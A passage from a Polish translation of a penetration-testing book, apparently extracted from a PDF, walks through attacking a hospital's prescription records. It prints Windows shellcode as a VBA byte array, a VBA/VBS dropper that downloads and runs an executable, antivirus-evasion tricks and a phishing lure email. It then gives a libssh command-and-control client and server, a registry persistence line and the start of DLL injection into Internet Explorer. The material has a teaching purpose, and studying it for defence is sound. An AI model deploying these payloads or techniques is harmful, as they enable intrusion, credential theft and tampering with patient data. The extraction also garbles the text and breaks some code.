Private Declare PtrSafe Function CreateThread Lib "kernel32" Alias "CTAlias" (ByVal Zdz AsLong, ByVal Tfnsv As Long, ByVal Kyfde As LongPtr, Spjyjr As Long, ByVal Pcxhytlle As Long,Coupxdxe As Long) As LongPtr

Potem w głównej części kodu źródłowego można już posługiwać się tylko aliasem. W ten sposóbmożna wywieść w pole wiele antywirusów, w tym Microsoft Endpoint Protection.

Poleć książkęKup książkę

Page 19: Tytuł oryginału: Advanced Penetration Testing: …Modelowanie ataków APT to specyficzna gałąź testowania penetracyjnego, które zazwyczaj kon centruje się na atakowaniu użytkowników

Wysyłanie ładunku, część I: jak posługiwać się makrami VBA 39

Unikaj shellcode’uShellcode ułatwia przeprowadzenie ataku, ale jest bardzo łatwy do wykrycia.

Wizksxyu = Array(232,137,0,0,0,96,137,229,49,210,100,139,82,48,139,82,12,139,82,20, _ 139,114,40,15,183,74,38,49,255,49,192,172,60,97,124,2,44,32,193,207, _ 13,1,199,226,240,82,87,139,82,16,139,66,60,1,208,139,64,120,133,192, _ 116,74,1,208,80,139,72,24,139,88,32,1,211,227,60,73,139,52,139,1, _ 214,49,255,49,192,172,193,207,13,1,199,56,224,117,244,3,125,248,59,125, _ 36,117,226,88,139,88,36,1,211,102,139,12,75,139,88,28,1,211,139,4, _ 139,1,208,137,68,36,36,91,91,97,89,90,81,255,224,88,95,90,139,18, _ 235,134,93,104,110,101,116,0,104,119,105,110,105,137,230,84,104,76,119,38, _ 7,255,213,49,255,87,87,87,87,86,104,58,86,121,167,255,213,235,96,91, _ 49,201,81,81,106,3,81,81,106,80,83,80,104,87,137,159,198,255,213,235, _ 79,89,49,210,82,104,0,50,96,132,82,82,82,81,82,80,104,235,85,46, _ 59,255,213,137,198,106,16,91,104,128,51,0,0,137,224,106,4,80,106,31, _ 86,104,117,70,158,134,255,213,49,255,87,87,87,87,86,104,45,6,24,123, _ 255,213,133,192,117,20,75,15,132,113,0,0,0,235,209,233,131,0,0,0, _ 232,172,255,255,255,0,235,107,49,192,95,80,106,2,106,2,80,106,2,106, _ 2,87,104,218,246,218,79,255,213,147,49,192,102,184,4,3,41,196,84,141, _ 76,36,8,49,192,180,3,80,81,86,104,18,150,137,226,255,213,133,192,116, _ 45,88,133,192,116,22,106,0,84,80,141,68,36,12,80,83,104,45,87,174, _ 91,255,213,131,236,4,235,206,83,104,198,150,135,82,255,213,106,0,87,104, _ 49,139,111,135,255,213,106,0,104,240,181,162,86,255,213,232,144,255,255,255, _ 99,58,100,97,118,101,46,101,120,101,0,232,19,255,255,255,119,119,119,46, _ 98,111,98,46,99,111,109,0)

Można zastosować wiele iteracji kodowania, aby uniemożliwić wykrycie ładunku przez antywi-rusy — i to ma szansę powodzenia. Problem jednak w tym, że nadal od razu widać, że to shellcode.Tablica bajtów (mimo że zakodowana w formacie dziesiętnym, a nie bardziej typowym szesnastko-wym) jest podejrzana dla każdego programu antywirusowego i prawie na pewno spowoduje wszczęciealarmu. Ponadto nowoczesne antywirusy potrafią przekazywać skompilowany kod (w tym takżeshellcode) do wirtualnych mikromaszyn w celu poddania go testom heurystycznym. Wówczas sposóbkodowania nie ma znaczenia, ponieważ antywirus po prostu sprawdzi, co dany kod robi. Dla na-rzędzia msfvenom przygotowywanie ataków w ten sposób ma sens, ponieważ umożliwia zastosowa-nie wielu ładunków w jednym skrypcie VBA, ale do poważnych zastosowań w atakach APT takiecoś kompletnie się nie nadaje. Ewentualnie tablicę tę można zakodować na kilka sposobów (na przy-kład w postaci łańcucha Base64), po czym odtworzyć ją w czasie wykonywania programu, ale ten za-bieg również nie redukuje liczby wykryć na tyle znacząco, aby warto było zaprzątać sobie tym głowę.

Następny blok kodu zawiera wywołania omawianych funkcji:

Qgsztm = VirtualAlloc(0, UBound(Wizksxyu), &H1000, &H40) For Rxnffhltx = LBound(Wizksxyu) To UBound(Wizksxyu) Hdhskh = Wizksxyu(Rxnffhltx) Svfb = RtlMoveMemory(Qgsztm + Rxnffhltx, Hdhskh,Next Rxnffhltx Svfb = CreateThread(0, 0, Qgsztm, 0, 0, 0)

Nie ma co się nad tym rozwodzić. Wystarczy tylko powiedzieć, że funkcje VirtualAlloc, RtlMoveMemory i CreateThread zawsze są podejrzane i zaalarmują każdy program antywirusowy bezwzględu na to, jak nieszkodliwa jest pozostała część naszego kodu. Zostaną oznaczone jako groźne,nawet jeśli nie będzie im towarzyszył żaden shellcode.

Poleć książkęKup książkę

Page 20: Tytuł oryginału: Advanced Penetration Testing: …Modelowanie ataków APT to specyficzna gałąź testowania penetracyjnego, które zazwyczaj kon centruje się na atakowaniu użytkowników

40 Rozdział 1 (Nie)bezpieczna dokumentacja medyczna

Automatyczne wykonywanie koduNa koniec chciałbym jeszcze odnieść się do tego, jak niefrasobliwie niektórzy wykorzystują funkcjęautomatycznego otwierania. Jest to funkcja, która powoduje wykonanie makra natychmiast potym, jak użytkownik zgodzi się na włączenie tej treści. Można to zrobić na trzy sposoby w zależno-ści od tego, czy makro działa w dokumencie Worda, arkuszu kalkulacyjnym Excela, czy skoroszycieExcela. W przedstawionym kodzie zostały użyte wszystkie trzy metody, aby zapewnić jego wykona-nie niezależnie od tego, do jakiej aplikacji zostanie wklejony. Ale takie działanie również nie mażadnego uzasadnienia z perspektywy legalnego programu. Twórca makra powinien wiedzieć, dlajakiego środowiska tworzy skrypt.

Domyślna podprocedura jest wywoływana przez Worda i zawiera nasz ładunek:

Sub Auto_Open Główny blok koduEnd Sub

Dwie pozostałe funkcje wywołuje Excel, a ich jedynym zadaniem jest wywołanie funkcji Auto_OpenWorda.

Sub AutoOpen() Auto_OpenEnd Sub

iSub Workbook_Open() Auto_OpenEnd Sub

Już jedna procedura automatycznego otwierania budzi podejrzenia, a co dopiero mówić o trzech.Wystarczy więc usunąć dwa ostatnie wywołania funkcji Worda, aby obniżyć wykrywalność przezprogramy antywirusowe. Pozbycie się trzeciej daje jeszcze lepszy rezultat.

W VBA dostępne są macierzyste funkcje, za pomocą których napastnik może pobrać i wykonaćkod z internetu (na przykład Shell i URLDownLoadToFile), ale z ich użyciem wiążą się takie sameniedogodności jak z poprzednimi — są podejrzane i na pewno wywołają alarm.

Krótko mówiąc, systemy wykrywania wirusów i innych szkodliwych programów mają bardzoograniczone zaufanie do makr pakietu MS Offce, które od lat są wykorzystywane przez napastnikówdo dostarczania ładunków do komputerów potencjalnych ofiar. Dlatego aby odnieść sukces, musimywykazać nieco inwencji. A gdybym Ci powiedział, że istnieje sposób na zainstalowanie pakietu atakuna dysku i wykonanie go bez używania shellcode’u ani aktywnego pobierania i wykonywania koduza pomocą VBA?

Użycie podwójnego stagera VBA/VBSNurtujący nas problem możemy rozwiązać, dzieląc stager na dwie części. Tu do akcji wkraczaWindows Scripting Host — środowisko wykonujące skrypty, które także oparte są na bazie językaVisual Basic. Podczas gdy język VBA jest używany tylko w dokumentach pakietu Office, VBS jestsamodzielnym językiem skryptowym, podobnie jak Python czy Ruby. Służy do wykonywania znacznie

Poleć książkęKup książkę

Page 21: Tytuł oryginału: Advanced Penetration Testing: …Modelowanie ataków APT to specyficzna gałąź testowania penetracyjnego, które zazwyczaj kon centruje się na atakowaniu użytkowników

Wysyłanie ładunku, część I: jak posługiwać się makrami VBA 41

bardziej zaawansowanych zadań niż automatyzacja funkcjonalności dokumentów MS Office. Dlategoteż programy antywirusowe pozostawiają mu znacznie szersze pole do działania. Tak jak VBA VBSjest językiem interpretowanym, a więc nie wymaga kompilacji, a napisany w nim kod można wywołaćze zwykłego pliku tekstowego. Zatem doskonałym rozwiązaniem jest napisanie pozornie niewinnegomakra w VBA zawierającego ładunek w postaci kodu VBS, który zapisuje do pliku, po czym go wyko-nuje. Newralgiczne instrukcje zostaną wykonane dopiero przez ten kod VBS. Wprawdzie w tymprzypadku również konieczne będzie użycie funkcji powłoki w VBA, ale nie do wykonania podej-rzanego czy nieznanego kodu, tylko w związku ze środowiskiem Windows Scripting Host, którejest integralną częścią systemu operacyjnego. Mówiąc krótko, potrzebujemy więc dwóch skryptów— jednego w VBA, a drugiego w VBS — z których oba przejdą kontrolę antywirusową. Podproceduraw makrze VBA powinna wyglądać mniej więcej tak:

Sub WritePayload() Dim PayLoadFile As Integer Dim FilePath As String FilePath = "C:\temp\payload.vbs" PayloadFile = FreeFile Open FilePath For Output As TextFile Print #PayLoadFile, "Pierwszy wiersz skryptu VBS." Print #PayLoadFile, "Drugi wiersz skryptu VBS." Print #PayLoadFile, "Trzeci wiersz skryptu VBS." Print #PayLoadFile, "Czwarty wiersz skryptu VBS." Close PayloadFile Shell "wscript c:\temp\payload.vbs"End Sub

Staraj się pisać jak najbardziej ogólny kodNie mam tu na myśli żadnych skomplikowanych rzeczy. Nawiasem mówiąc, słowo payload (ładunek)jest używane tylko w ramach przykładu i nie powinno go być w prawdziwym kodzie. Dodatkowązaletą niespecyficznego kodu jest to, że będzie wymagał tylko drobnych modyfikacji, w razie gdyby-śmy zdecydowali się przenieść atak z platformy Windows na macOS.

Jeśli chodzi o sam kod VBS, poniższy skrypt należy wstawić do instrukcji print i mamy gotowyatak. Sposób ten wymyśliłem na potrzeby przykładu, ale tak naprawdę jest tyle metod, ilu programistów:

HTTPDownload "http://www.wherever.com/files/payload.exe", "C:\temp" Sub HTTPDownload( myURL, myPath ) Dim i, objFile, objFSO, objHTTP, strFile, strMsg Const ForReading = 1, ForWriting = 2, ForAppending = 8 Set objFSO = CreateObject( "Scripting.FileSystemObject" ) If objFSO.FolderExists( myPath ) Then strFile = objFSO.BuildPath( myPath, Mid( myURL, InStrRev( myURL, "/" ) + 1 ) ) ElseIf objFSO.FolderExists( Left( myPath, InStrRev( myPath, "\") - 1 ) ) Then strFile = myPath End If Set objFile = objFSO.OpenTextFile( strFile, ForWriting, True ) Set objHTTP = CreateObject( "WinHttp.WinHttpRequest.5.1" ) objHTTP.Open "GET", myURL, False objHTTP.Send

Poleć książkęKup książkę

Page 22: Tytuł oryginału: Advanced Penetration Testing: …Modelowanie ataków APT to specyficzna gałąź testowania penetracyjnego, które zazwyczaj kon centruje się na atakowaniu użytkowników

42 Rozdział 1 (Nie)bezpieczna dokumentacja medyczna

For i = 1 To LenB( objHTTP.ResponseBody ) objFile.Write Chr( AscB( MidB( objHTTP.ResponseBody, i, 1 ) ) ) Next objFile.Close( ) Set WshShell = WScript.CreateObject("WScript.Shell") WshShell.Run "c:\temp\payload.exe" End Sub

Oczywiście każdy, kto przeczyta ten kod VBA, szybko domyśli się jego przeznaczenia, dlategow prawdziwym ataku przydałoby się jeszcze go trochę zaciemnić. Poza tym nie trzeba stosować ażtak skomplikowanych sztuczek, aby pobrać i wykonać plik wykonywalny. Za pomocą poleceń po-włoki można wywoływać różne narzędzia dostępne w systemie Windows, dzięki czemu całą operacjęmożna przeprowadzić przy użyciu jednego polecenia (pokazuję nawet, jak się to robi, w rozdziale 5.,w podrozdziale „Powrót do VBA — alternatywne wektory ataku przez wiersz poleceń”), ale chciałemznaleźć jakieś uzasadnienie dla użycia skryptu VBA do podrzucenia skryptu VBS.

Zaciemnianie koduJest kilka metod zaciemniania kodu. Na potrzeby tego ćwiczenia treść ładunku moglibyśmy zakodo-wać algorytmem Base64, a następnie moglibyśmy ją dekodować bezpośrednio przed zapisem w plikudocelowym. To prymitywna technika, ale dobrze obrazuje, co chcę pokazać. Kiedy atak za pośred-nictwem makra zostanie wykryty przez człowieka, a nie program antywirusowy i przeprowadzi onfachową analizę znaleziska, to żadne zaciemnianie nie pomoże nam ukryć prawdziwych intencjinaszego kodu.

Jeśli chcesz, możesz ten kod jeszcze dodatkowo pogmatwać (na przykład za pomocą funkcji XOR).Sam zdecyduj, jak daleko chcesz się w tym zakresie posunąć, choć nie polecam stosowania płatnychrozwiązań wymagających dołączania do dokumentu zewnętrznych bibliotek, ponieważ z pewnościązostaną one wykryte przez antywirus.

Dodajmy zatem drugą część naszego ataku do pierwszego makra VBA i zobaczmy, co na to„powiedzą” programy antywirusowe. Tak jak poprzednio skorzystamy z usług portalu VirusTotal— rysunek 1.7.

Rysunek 1.7. Bardzo skryty ładunek

Już jest lepiej, ale co się stanie z ładunkiem VBS, gdy tylko wyląduje na dysku? Spójrz na rysu-nek 1.8.

Poleć książkęKup książkę

Page 23: Tytuł oryginału: Advanced Penetration Testing: …Modelowanie ataków APT to specyficzna gałąź testowania penetracyjnego, które zazwyczaj kon centruje się na atakowaniu użytkowników

Wysyłanie ładunku, część I: jak posługiwać się makrami VBA 43

Rysunek 1.8. Nie, Qihoo-360 nie jest Świętym Graalem wśród programów antywirusowych

Ho, ho. Zostaliśmy wykryci przez antywirus Qihoo-360. To chiński skaner, który podobno cieszysię zaufaniem aż pół miliarda użytkowników. Ja też pierwsze o nim słyszę. Oznaczył nasz kod jakowirus virus.vbs.gen.33, czyli po prostu stwierdził, że jeśli to plik VBS, to zostanie uznany za szkodliwy.Istnieje niewielkie ryzyko, że kiedyś wpadniemy w sidła tego antywirusa, ale wówczas możemy miećz tym problem.

Do tej pory jeszcze nie zaimplementowaliśmy żadnego mechanizmu wykonywania kodu w chwiliotwarcia dokumentu przez użytkownika.

Kuszenie użytkownikówZ opisanych wcześniej powodów nie lubię używać funkcji automatycznego otwierania. Poza tymuważam, że jeśli użytkownik jest na tyle zdeterminowany, że pozwala w ogóle na uruchomieniemakr w otwieranym dokumencie, to można się spodziewać, że będzie chciał w nim zrobić coś wię-cej, a nie tylko go otworzyć. Jeśli chodzi o nasz atak, spreparowany przez nas plik programu MicrosoftWord bezpośrednio po otwarciu będzie wyglądał tak, jak widać na rysunku 1.9.

Rysunek 1.9. Pusty dokument zawierający makro

Poleć książkęKup książkę

Page 24: Tytuł oryginału: Advanced Penetration Testing: …Modelowanie ataków APT to specyficzna gałąź testowania penetracyjnego, które zazwyczaj kon centruje się na atakowaniu użytkowników

44 Rozdział 1 (Nie)bezpieczna dokumentacja medyczna

Niezbyt to przekonujące, prawda? Pusty dokument proszący o kliknięcie przycisku i prezentu-jący napis OSTRZEŻENIE O ZABEZPIECZENIACH nie wygląda zachęcająco. Taka przestroga jestwyświetlana w każdym pliku zawierającym makra bez względu na to, czy są one cyfrowo podpisane,czy nie. Użytkowników nuży już ciągła konieczność klikania tego przycisku, więc do rozwiązaniapozostały nam dwa problemy: jak skłonić użytkownika do wykonania naszego kodu oraz jak spre-parować dokument zachęcający do interakcji. Pierwsza kwestia jest natury technicznej, a druga tozagadnienie z dziedziny inżynierii społecznej. Jeśli napiszemy przekonującą wiadomość e-mail (lubinną), to mamy dużą szansę na powodzenie nawet podczas ataku na cele o wysokiej świadomościw zakresie bezpieczeństwa teleinformatycznego.

W księgarniach można znaleźć bardzo dobre książki na temat inżynierii społecznej. Godne polece-nia są na przykład Sztuka podstępu. Łamałem ludzi, nie hasła Kevina Mitnicka (Helion, 2003) i So-cjotechnika. Sztuka zdobywania władzy nad umysłami Chrisa Hadnagy’ego (Onepress, 2012).

Zastanówmy się więc nad tym, co może zachęcić użytkownika do używania naszego dokumentu.Jedną ze szczególnie skutecznych przynęt w nakłanianiu użytkowników do otwierania dokumen-

tów i używania zawartych w nich makr jest — nawet jeśli podświadomość aż krzyczy, że to błąd —zasugerowanie, że dana informacja trafiła do nich przez przypadek. Nie powinni się o tym dowiedzieć.Jest to coś, dzięki czemu mogliby odnieść pewne korzyści, a wiele stracić, jeśli to zignorują.

Funkcja automatycznego uzupełniania adresów w klientach e-mail niejednemu spłatała figla, po-wodując wysłanie wiadomości do niewłaściwej osoby, i chyba każdy kiedyś dostał e-maila, który miałtrafić do kogoś innego. Po prostu takie rzeczy się zdarzają. Spójrz na poniższą wiadomość e-mail,która „jest przeznaczona dla” Jana Kowalskiego z działu HR, ale przez przypadek trafiła do dr. Ja-na Kowalczyka:

Do: dr Jan KowalczykOd: dr Marzena SkłodowskaTemat: POUFNE: druga tura zwolnień grupowychJanie,Załączam najnowszą listę proponowanych redukcji w moim zespole w dziale intensywnejopieki. Niechętnie pozbywam się swoich pracowników, ponieważ mamy dużo pracy, alezałączona lista może być punktem wyjściowym do dalszej dyskusji – będę w biurze w piątek,więc proszę o odpowiedź przed tym terminem.Pozdrawiam,MarzenaPS. Dokument jest zabezpieczony zgodnie z wytycznymi szpitala. Hasło dostępu to „arkham”.

To wyjątkowo paskudny rodzaj przynęty. Dr Kowalczyk na pewno już się zastanawia, czy teżznalazł się na tej liście osób do zwolnienia.

Do wiadomości dołączony jest nasz dokument z makrem — rysunek 1.10.

Rysunek 1.10. To jest trochę bardziej przekonujące

Poleć książkęKup książkę

Page 25: Tytuł oryginału: Advanced Penetration Testing: …Modelowanie ataków APT to specyficzna gałąź testowania penetracyjnego, które zazwyczaj kon centruje się na atakowaniu użytkowników

Dowodzenie i kontrola, część I: podstawy 45

Teraz dodamy do dokumentu pole tekstowe i przycisk, które zostaną wyświetlone, gdy użytkownikotworzy dokument i włączy makra. Z przyciskiem powiążemy kod wysyłający do komputera ofiaryskrypt VBS, który będzie uruchamiany w chwili naciśnięcia tego przycisku i niezależnie od tego, coużytkownik wpisze w polu tekstowym. Potem zostanie wyświetlone okienko z informacją o tym, żepodane hasło jest nieprawidłowe, także bez względu na to, co wpisał użytkownik.

Dodatkową zaletą takiej konstrukcji ataku jest to, że (przy założeniu, że alarm nie zostanie podnie-siony w żaden inny sposób, na przykład przez program antywirusowy) ofiara prawdopodobnie ni-komu nie zgłosi tego zdarzenia, ponieważ nie zechce się przyznać, że otworzyła poufny dokumentprzeznaczony dla kogoś innego.

Aby przypisać polecenie lub makro do przycisku i wstawić przycisk do tekstu, ustaw kursor w wy-branym miejscu i wykonaj następujące czynności:

1. Naciśnij klawisze Ctrl+F9, aby dodać pole. 2. W klamrze, która się pojawi, wpisz MacroButton, następnie dodaj nazwę polecenialub makra, które chcesz uruchamiać za pomocą przycisku.

3. Wpisz tekst, który ma zostać wyświetlony, lub wstaw obraz mający służyć jako ikonaprzycisku.

4. Naciśnij klawisz F9, aby zaktualizować pole.

Na końcu podprocedury WritePayload() możesz ewentualnie dodać poniższy wiersz kodu:

MsgBox "Nieprawidłowe hasło. Jeśli sytuacja na koncie użytkownika " & (Environ$("Username")) &" będzie się powtarzać, zostanie powiadomiony dział bezpieczeństwa IT."

Ten kod spowoduje wyświetlenie okienka podszywającego się pod informację bezpieczeństwa.Dodatek nazwy użytkownika w tekście stanowi element personalizacji, który może zaważyć na po-wodzeniu lub braku powodzenia operacji wysyłania ładunku na komputer ofiary.

Dowodzenie i kontrola, część I: podstawyPo dokonaniu wyboru sposobu dostarczenia ładunku na komputer ofiary czas poważnie się zastano-wić, co to w ogóle ma być. W tym podrozdziale opisuję absolutnie minimum potrzebne do budowyinfrastruktury dowodzenia i kontroli (ang. Command and Control — C2). W każdym kolejnym roz-dziale będę wracał do tego systemu, będę go ulepszał i będę dodawał do niego nowe funkcje, abyostatecznie pokazać najważniejsze składniki systemu dowodzenia i kontroli potrzebne do prze-prowadzenia długoterminowego ataku APT po udanej wstępnej penetracji systemu ofiary. W tymrozdziale na razie skupiam się jednak tylko na podstawach. Poniżej znajduje się lista podstawowychfunkcji, które musi mieć nawet najprostszy system dowodzenia i kontroli wdrożony u ofiary:

Łączność wychodząca — system powinien mieć możliwość nawiązywania połączeniainternetowego z serwerem C2 w sposób minimalizujący wykrycie przez zaporę sieciową.

Dyskrecja — system nie może zostać wykryty przez hosta ani sieciowe systemy detekcjiintruzów (ang. Intrusion Detection Systems — IDS).

Poleć książkęKup książkę

Page 26: Tytuł oryginału: Advanced Penetration Testing: …Modelowanie ataków APT to specyficzna gałąź testowania penetracyjnego, które zazwyczaj kon centruje się na atakowaniu użytkowników

46 Rozdział 1 (Nie)bezpieczna dokumentacja medyczna

Dostęp do zdalnego systemu plików — funkcja kopiowania plików do i z komputera ofiaryjest absolutnie niezbędna.

Zdalne wydawanie poleceń — musimy mieć możliwość zdalnego wykonywania kodulub wydawania poleceń na komputerze, do którego się włamaliśmy.

Bezpieczna komunikacja — cały ruch między sforsowanym hostem i serwerem C2musi być zaszyfrowany wysokiej jakości algorytmem.

Trwałość — ładunek musi być w stanie przetrwać restart komputera. Przekierowywanie portów — musimy mieć możliwość dwukierunkowego kierowania

ruchem przez sforsowanego hosta. Wątek kontroli — jeśli dojdzie do zerwania połączenia z serwerem C2 z powodu tymczasowej

niedostępności sieci lub w innej sytuacji, musimy mieć możliwość ponownego nawiązaniatego połączenia.

Najszybszym, najprostszym i najbardziej poruszającym wyobraźnię sposobem budowy z mo-dułów takiej infrastruktury, która przetrwa próbę czasu, jest posłużenie się bezpiecznym i niezwyklewszechstronnym protokołem SSH. Infrastrukturę podzielimy na dwie części — serwer C2 i ładunekwysyłany do ofiary. Poniżej znajduje się lista technicznych warunków, jakie muszą spełniać te składniki.

Serwer C2 Obsługa połączeń SSH na porcie TCP 443 Środowisko chroot jail do uruchomienia serwera SSH Modyfikacja konfiguracji SSH, aby zezwolić na tunelowe nawiązywanie połączeń przez SSH

Ładunek Implementacja serwera SSH na niestandardowym porcie TCP Implementacja klienta SSH mającego możliwość łączenia się z serwerem C2 Implementacja tuneli SSH (zarówno lokalnych, jak i dynamicznych) na kliencie SSH

zapewniających serwerowi C2 dostęp do docelowego systemu plików i procesów

Do implementacji wymagań dotyczących ładunku gorąco polecam użycie biblioteki libssh(https://www.libssh.org/) w języku C. Przy jej użyciu można pisać bardzo zwięzły kod zapewniającyszerokie spektrum możliwości. Ponadto biblioteka ta radykalnie skraca czas programowania. A po-nieważ jest dostępna dla wielu różnych platform, można jej używać do tworzenia ładunków, którebędą wymagały tylko drobnych modyfikacji, aby dostosować je do potrzeb systemu Windows, macOS,Linux lub Unix. W ramach przykładu ilustrującego, jak szybko i łatwo pracuje się z bibliotekąlibssh, poniżej przedstawiam implementację serwera SSH działającego na porcie TCP 900. Tenprogram wystarczy do ustanowienia uwierzytelnionej sesji klienta SSH (używającego raczej nazwyużytkownika i hasła, a nie klucza publicznego):

#include <libssh/libssh.h> #include <stdlib.h> #include <stdio.h> #include <windows.h>

Poleć książkęKup książkę

Page 27: Tytuł oryginału: Advanced Penetration Testing: …Modelowanie ataków APT to specyficzna gałąź testowania penetracyjnego, które zazwyczaj kon centruje się na atakowaniu użytkowników

Dowodzenie i kontrola, część I: podstawy 47

int main(){ ssh_session my_ssh_session;int rc; char *password; my_ssh_session = ssh_new(); if (my_ssh_session == NULL)exit(-1); ssh_options_set(my_ssh_session, SSH_OPTIONS_HOST, "c2host"); ssh_options_set(my_ssh_session, SSH_OPTIONS_PORT, 443); ssh_options_set(my_ssh_session, SSH_OPTIONS_USER, "c2user"); rc = ssh_connect(my_ssh_session); if (verify_knownhost(my_ssh_session) < 0) { ssh_disconnect(my_ssh_session); ssh_free(my_ssh_session); exit(-1); } password = ("Password"); rc = ssh_userauth_password(my_ssh_session, NULL, password); ssh_disconnect(my_ssh_session); ssh_free(my_ssh_session); }To z kolei jest bardzo prosta instancja serwera SSH:

#include "config.h" #include <libssh/libssh.h> #include <libssh/server.h> #include <stdlib.h> #include <string.h> #include <stdio.h> #include <unistd.h> #include <windows.h> static int auth_password(char *user, char *password){ if(strcmp(user,"c2payload")) return 0; if(strcmp(password,"c2payload")) return 0;return 1; } ssh_bind_options_set(sshbind, SSH_BIND_OPTIONS_BINDPORT_STR, 900) return 0} int main(){ sshbind=ssh_bind_new(); session=ssh_new(); ssh_disconnect(session); ssh_bind_free(sshbind); ssh_finalize(); return 0;}

Na koniec można utworzyć odwrotny tunel:

rc = ssh_channel_listen_forward(session, NULL, 1080, NULL);channel = ssh_channel_accept_forward(session, 200, &port);

Biblioteka libssh ma wbudowane procedury obsługi wyjątków pozwalające monitorować stanpołączeń.

Poleć książkęKup książkę

Page 28: Tytuł oryginału: Advanced Penetration Testing: …Modelowanie ataków APT to specyficzna gałąź testowania penetracyjnego, które zazwyczaj kon centruje się na atakowaniu użytkowników

48 Rozdział 1 (Nie)bezpieczna dokumentacja medyczna

Jedyna z wymienionych wcześniej funkcji, której jeszcze nie mamy, to trwałość. Jest wiele sposo-bów na zadekowanie ładunku w systemach Microsoft Windows, ale szczegóły podaję dopiero w na-stępnym rozdziale. Teraz tylko przedstawiam prosty przykład. Nie polecam stosowania tej metodyw prawdziwych zleceniach, ponieważ praktycznie w żadnym stopniu nie zapewnia dyskrecji. Poniżejznajduje się kod w języku C do wykonania:

char command[100]; strcpy( command, " reg.exe add"HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" /v "Innoce" );system(command);

Obraz jest więcej wart niż tysiąc słów, więc spójrz na rysunek 1.11.

Rysunek 1.11. Schemat podstawowej infrastruktury dowodzenia i kontroli

Dysponując zdalnym przekierowanym portem, mamy takie same uprawnienia do działania w sfor-sowanym hoście jak proces użytkownika, który włączył makro VBA. Za pomocą SFTP i protokołuSSH możemy uzyskać dostęp do systemu plików. Aby nasz ładunek uruchomił zdalne tunele, do pliku/etc/ssh/sshd.config na hoście C2 należy dodać następujące dwa wiersze kodu:

Match User c2userGatewayPorts yes

Ta infrastruktura ma kilka poważnych wad. Wymaga utrzymywania ciągłego połączenia międzyładunkiem i serwerem C2, który jest w stanie obsłużyć tylko jedno połączenie (zdalny tunel), przez comoże współpracować tylko z jednym sforsowanym hostem. Ładunek nie ma wbudowanych żadnychmechanizmów autonomii czy inteligencji pozwalających obsłużyć choćby najprostsze nietypoweprzypadki, takie jak potrzeba stworzenia tunelu przez serwer proxy. Jeśli jednak dotrwasz do końcatej książki, zostaniesz nagrodzony nowiutką i lśniącą inteligentną oraz dyskretną infrastrukturą C2.

Poleć książkęKup książkę

Page 29: Tytuł oryginału: Advanced Penetration Testing: …Modelowanie ataków APT to specyficzna gałąź testowania penetracyjnego, które zazwyczaj kon centruje się na atakowaniu użytkowników

Atak 49

AtakWiemy już, jak zbudować i dostarczyć do komputera ofiary swój ładunek kodu, który zapewninam zdalny dostęp do docelowej stacji roboczej, choć w bardzo prymitywny sposób i w ograniczo-nym zakresie. Mimo to nasz podstawowy cel się nie zmienił, a jest nim dodanie lub zmodyfikowaniedokumentacji pacjentów w rubrykach dotyczących recept na leki.

Dla przypomnienia, cel naszego ataku używa przeglądarki Microsoft Internet Explorer (IE), zapomocą której loguje się w aplikacji sieciowej Pharmattix. Aplikacja ta obsługuje tylko tę jednąprzeglądarkę. Moglibyśmy podrzucić rejestrator naciskanych klawiszy (ang. key logger), aby przejąćdane uwierzytelniające lekarza, ale to nie rozwiązałoby problemu z dwuetapowym uwierzytelnianiem.Nazwa użytkownika i hasło to tylko połowa tego, czego potrzebujemy. Druga połowa to karta dostępudo medycznej bazy danych, którą trzeba mieć przy sobie podczas logowania. Teoretycznie moglibyśmyzaczaić się przy szpitalu na lekarza, napaść go i ukraść mu portfel (karty z kodami wygodnie mieszcząsię w portfelu), ale takie zdarzenie nie pozostałoby niezauważone, a poza tym klient, który zleciłnam przeprowadzenie modelowania ataku APT, też pewnie miałby obiekcje co do takich metoddziałania.

Omijanie uwierzytelnianiaA gdybyśmy tak mogli całkowicie obejść wszystkie mechanizmy uwierzytelniania? Możemy! Istniejetechnika o nazwie browser pivoting (obracanie przeglądarki), która polega na wykorzystaniu do-stępu do docelowej stacji roboczej w celu odziedziczenia uprawnień z przeglądarki lekarza i prze-prowadzenia swoich operacji w niewidoczny sposób.

Do przeprowadzenia takiego ataku potrzebne jest spełnienie trzech warunków: Musimy wstrzyknąć kod do procesu IE korzystającego z bazy danych medycznych. Musimy utworzyć serwer proxy w postaci biblioteki DLL (ang. Dynamic Link Library)

opartej na API Microsoft WinInet. Musimy znaleźć sposób na skierowanie ruchu sieciowego przez nasz tunel SSH, a następnie

do nowo utworzonego serwera proxy.

Przyjrzymy się tym trzem etapom po kolei. Żaden z nich nie jest tak trudny do realizacji, jak sięmoże początkowo wydawać.

Etap 1: wstrzyknięcie kodu DLLWstrzyknięcie kodu DLL to czynność polegająca na wstawieniu kodu do istniejącego (aktywnego) proce-su (programu). Najprostszym sposobem jest użycie funkcji LoadLibraryA() z biblioteki kernel32.dll. Jejwywołanie praktycznie wszystko załatwia, czyli wstawia i wykonuje DLL. Jest tylko taki problem, żeta funkcja zarejestruje naszą bibliotekę w procesie docelowym, co od razu zaalarmuje programyantywirusowe (w szczególności w tak ściśle monitorowanym środowisku jak Internet Explorer).

Są jednak lepsze sposoby. Zastosujemy technikę, którą można podzielić na cztery zasadnicze etapy:

Poleć książkęKup książkę

Page 30: Tytuł oryginału: Advanced Penetration Testing: …Modelowanie ataków APT to specyficzna gałąź testowania penetracyjnego, które zazwyczaj kon centruje się na atakowaniu użytkowników

50 Rozdział 1 (Nie)bezpieczna dokumentacja medyczna

1. Dołączenie się do docelowego procesu (w tym przypadku do Internet Explorera). 2. Alokacja pamięci w tym procesie. 3. Skopiowanie biblioteki DLL do pamięci docelowego procesu i obliczenie odpowiedniegoadresu w tej pamięci.

4. Nakazanie docelowemu procesowi wykonania naszego kodu.

Każdy z tych kroków jest dobrze opisany w API Windows.

Łączenie się z procesem

hHandle = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION |

Alokacja pamięci

PROCESS_VM_OPERATION |PROCESS_VM_WRITE |PROCESS_VM_READ,FALSE,procID );

Alokacja pamięci

GetFullPathName(TEXT("proxy.dll"),BUFSIZE,dllPath,NULL);hFile = CreateFileA( dllPath,GENERIC_READ,0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL );dllFileLength = GetFileSize( hFile,NULL );remoteDllAddr = VirtualAllocEx( hProcess,NULL,dllFileLength,MEM_RESERVE|MEM_COMMIT,PAGE_EXECUTE_READWRITE );

Wstawienie pliku DLL i obliczenie adresu w pamięci

